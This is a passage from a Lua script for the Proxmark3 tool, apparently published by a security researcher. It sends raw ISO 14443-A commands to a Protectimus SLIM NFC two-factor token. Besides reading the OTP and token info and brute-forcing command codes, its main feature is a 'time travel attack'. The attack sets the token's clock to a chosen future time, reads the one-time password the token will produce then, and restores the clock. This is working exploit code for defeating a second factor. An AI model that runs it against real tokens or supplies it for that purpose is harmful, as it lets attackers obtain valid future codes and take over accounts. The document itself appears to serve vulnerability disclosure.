new_minute_offset, sec = new_seconds}) + + return epoch +end + +-- Send a "raw" IOS 14443-A package, i.e. "hf 14a raw" command +function sendRaw(rawdata, options) + + -- send raw + local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT + + lib14a.ISO14A_COMMAND.ISO14A_RAW + + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC + + local command = Command:newMIX{ + cmd = cmds.CMD_HF_ISO14443A_READER, + + -- arg1 is the defined flags for sending "raw" ISO 14443A package + arg1 = flags, + + -- arg2 contains the length, which is half the length of the ASCII + -- string data + arg2 = string.len(rawdata) / 2, + data = rawdata + } + + return command:sendMIX(options.ignore_response) +end + +-- Read the current one-time password (OTP) +function readOTP(show_output) + -- read OTP command + local cmd = "028603420042" + local otp_value = '' + + if show_output then + print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read one-time password (OTP)") + end + + -- send the raw command + res, err = sendRaw(cmd , {ignore_response = ignore_response}) + if err then + lib14a.disconnect() + return oops(err) + end + + -- parse the response + local cmd_response = Command.parse(res) + local len = tonumber(cmd_response.arg1) * 2 + local data = string.sub(tostring(cmd_response.data), 0, len - 4) + + -- check the response + if len == 0 then + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP") + return nil + end + + if data:sub(0, 8) == "02AA0842" then + -- extract the binary-coded decimal (BCD) OTP value from the response + for i = 10, #data - 2, 2 do + local c = data:sub(i, i) + otp_value = otp_value .. c + end + + -- show the output if requested + if show_output then + print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] OTP: " .. ansicolors.green .. otp_value .. ansicolors.reset) + end + else + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP") + otp_value = nil + end + + return otp_value +end + +-- Read token info +function readInfo(show_output) + -- read info command + local cmd = "0286021010" + + if show_output then + print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read token info") + end + + -- send the raw command + res, err = sendRaw(cmd , {ignore_response = ignore_response}) + if err then + lib14a.disconnect() + return oops(err) + end + + -- parse the response + local cmd_response = Command.parse(res) + local len = tonumber(cmd_response.arg1) * 2 + local data = string.sub(tostring(cmd_response.data), 0, len - 4) + + -- check the response + if len == 0 then + print("[-] Error: Could not read the token info") + return nil + end + + if data:sub(0, 8) == "02AA0B10" then + -- extract the token info from the response + local hardware_schema = tonumber(data:sub(11, 12)) + local firmware_version_major = tonumber(data:sub(13, 14)) + local firmware_version_minor = tonumber(data:sub(13, 14)) + local hardware_rtc = tonumber(data:sub(19, 20)) + local otp_interval = tonumber(data:sub(23, 24)) + + local info = "[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Token info\n" .. + " Hardware schema: " .. ansicolors.green .. "%s" .. ansicolors.reset .."\n" .. + " Firmware version: " .. ansicolors.green .. "%s.%s" .. ansicolors.reset .. "\n" .. + " Hardware RTC: " .. ansicolors.green .. "%s" .. ansicolors.reset .. "\n" .. + " OTP interval: " .. ansicolors.green .. "%s" .. ansicolors.reset + + -- check hardware real-time clock (RTC) + if hardware_rtc == 1 then + hardware_rtc = true + else + hardware_rtc = false + end + + -- check one-time password interval + if otp_interval == 0 then + otp_interval = '30' + elseif otp_interval == 10 then + otp_interval = '60' + else + otp_interval = 'unknown' + end + + if show_output then + -- show the token info + print(string.format(info, hardware_schema, firmware_version_major, + firmware_version_minor, hardware_rtc, + otp_interval)) + end + + return otp_interval + else + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the token info") + otp_value = nil + end + + return info +end + +-- Bruteforce commands +function bruteforceCommands() + -- read OTP command + local cmd = '' + + if show_output then + print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Bruteforce commands") + end + + for n = 0, 255 do + cmd = string.format("028602%d%d", n) + + print(string.format("[+] Send command %s", cmd)) + + -- send the raw command + res, err = sendRaw(cmd , {ignore_response = ignore_response}) + if err then + lib14a.disconnect() + return oops(err) + end + + -- parse the response + local cmd_response = Command.parse(res) + local len = tonumber(cmd_response.arg1) * 2 + local data = string.sub(tostring(cmd_response.data), 0, len - 4) + + -- check the response + if len == 0 then + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No response") + else + print(data) + end + + io.read(1) + end +end + + +-- Set an arbitrary Unix time (epoch) +function setTime(time, otp_interval) + -- calculate the two required time variables + local time_var1 = math.floor(time / otp_interval) + local time_var2 = math.floor(time % otp_interval) + + -- build the raw command data + local data = "120000" ..string.format("%02x", otp_interval) .. string.format("%08x", time_var1) .. string.format("%02x", time_var2) + + -- calculate XOR checksum on data + local checksum = 0 + for i = 1, #data, 2 do + local c = data:sub(i, i + 1) + checksum = bit32.bxor(checksum , tonumber(c, 16)) + end + + -- build the complete raw command + local cmd = "0286" .. string.format("%02x", string.len(data) / 2 + 1) .. data .. string.format("%02x", checksum) + + print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Set Unix time " .. ansicolors.yellow .. "%d" .. ansicolors.reset, time)) + + -- send raw command + res, err = sendRaw(cmd , {ignore_response = ignore_response}) + if err then + lib14a.disconnect() + return oops(err) + end + + -- parse the response + local cmd_response = Command.parse(res) + local len = tonumber(cmd_response.arg1) * 2 + local data = string.sub(tostring(cmd_response.data), 0, len - 4) +end + +-- Set the current time +function setCurrentTime(otp_interval) + -- get the current Unix time (epoch) + local current_time = os.time(os.date("*t")) + setTime(current_time, otp_interval) +end + +-- Perform a time travel attack for generating a future OTP +function timeTravelAttack(datetime_string, otp_interval) + if nil == datetime_string then + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No valid datetime string given") + return nil + end + + -- get the future time as Unix time + local future_time = getUnixTime(datetime_string) + + if nil == future_time then + return + end + + -- set the future time + setTime(future_time, otp_interval) + + print("[" .. ansicolors.red .. "!" .. ansicolors.reset .. "] Please power the token and press ") + -- while loop do + io.read(1) + + -- read the OTP + local otp = readOTP(false) + print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] The future OTP on " .. + ansicolors.yellow .. "%s (%d) " .. ansicolors.reset .. "is " .. + ansicolors.green .. "%s" .. ansicolors.reset, datetime_string, future_time, otp)) + + -- reset the current time + setCurrentTime(otp_interval) +end + +-- Show a fancy banner +function banner() + print(string.format("Proxmark3 Protectimus SLIM NFC Script %s by Matthias Deeg - SySS GmbH\n" .. + "Perform different operations on a Protectimus SLIM NFC hardware token", version)) +end + +-- The main entry point +function main(args) + local ignore_response = false + local no_rats = false + local operation = READ_OTP + local target_time = nil + + -- show a fancy banner + banner() + + -- read the parameters + for o, a in getopt.getopt(args, 'hirt:b') do + if o == 'h' then return help() end + if o == 'i' then operation = READ_INFO end + if o == 'r' then operation = READ_OTP end + if o == 't' then + operation = TIME_TRAVELER_ATTACK + target_time = a + end + if o == 'b' then bruteforceCommands() end + end + + -- connect to the TOTP hardware token + info, err = lib14a.read(true, no_rats) + if err then + lib14a.disconnect() + return oops(err) + end + + -- show tag info + print(("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Found token with UID " .. ansicolors.green .. "%s" .. ansicolors.reset):format(info.uid)) + + -- perform the requested operation + if operation == READ_OTP then + readOTP(true) + elseif operation == READ_INFO then + readInfo(true) + elseif operation == TIME_TRAVELER_ATTACK then + -- read token info and get OTP interval + local otp_interval = readInfo(false) + if nil == otp_interval then + return + end + -- perform time traveler attack + timeTravelAttack(target_time, otp_interval) + end + + -- disconnect + lib14a.disconnect() +end + +------------------------- +-- Testing +------------------------- +function selftest() + DEBUG = true + dbg('Performing test') + main() + dbg('Tests done') +end +-- Flip the switch here to perform a sanity check. +-- It read a nonce in two different ways, as specified in the usage-section +if '--test' == args then + selftest() +else + -- Call the main + main(args) +end